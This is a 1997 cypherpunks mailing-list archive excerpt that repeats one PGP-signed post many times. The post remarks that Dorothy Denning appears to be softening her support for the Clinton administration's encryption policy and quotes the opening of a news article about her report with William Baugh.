ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:03:58 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010158.TAA09804@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:08:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010203.UAA10017@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:16:50 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010208.UAA10219@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:20:58 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010214.UAA10369@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:27:25 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010219.UAA10618@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:31:36 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010224.UAA10843@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:36:27 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010229.UAA11031@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:42:02 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010235.UAA11226@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:46:37 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010240.UAA11453@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:56:59 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010245.UAA11676@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:01:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010255.UAA12060@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:10:37 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010301.VAA12316@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:14:57 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010306.VAA12518@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:21:39 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010311.VAA12700@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:25:33 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010250.UAA11859@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:24:47 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010317.VAA12880@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:37:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010328.VAA13339@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:36:24 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010323.VAA13141@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:42:07 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010334.VAA13686@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
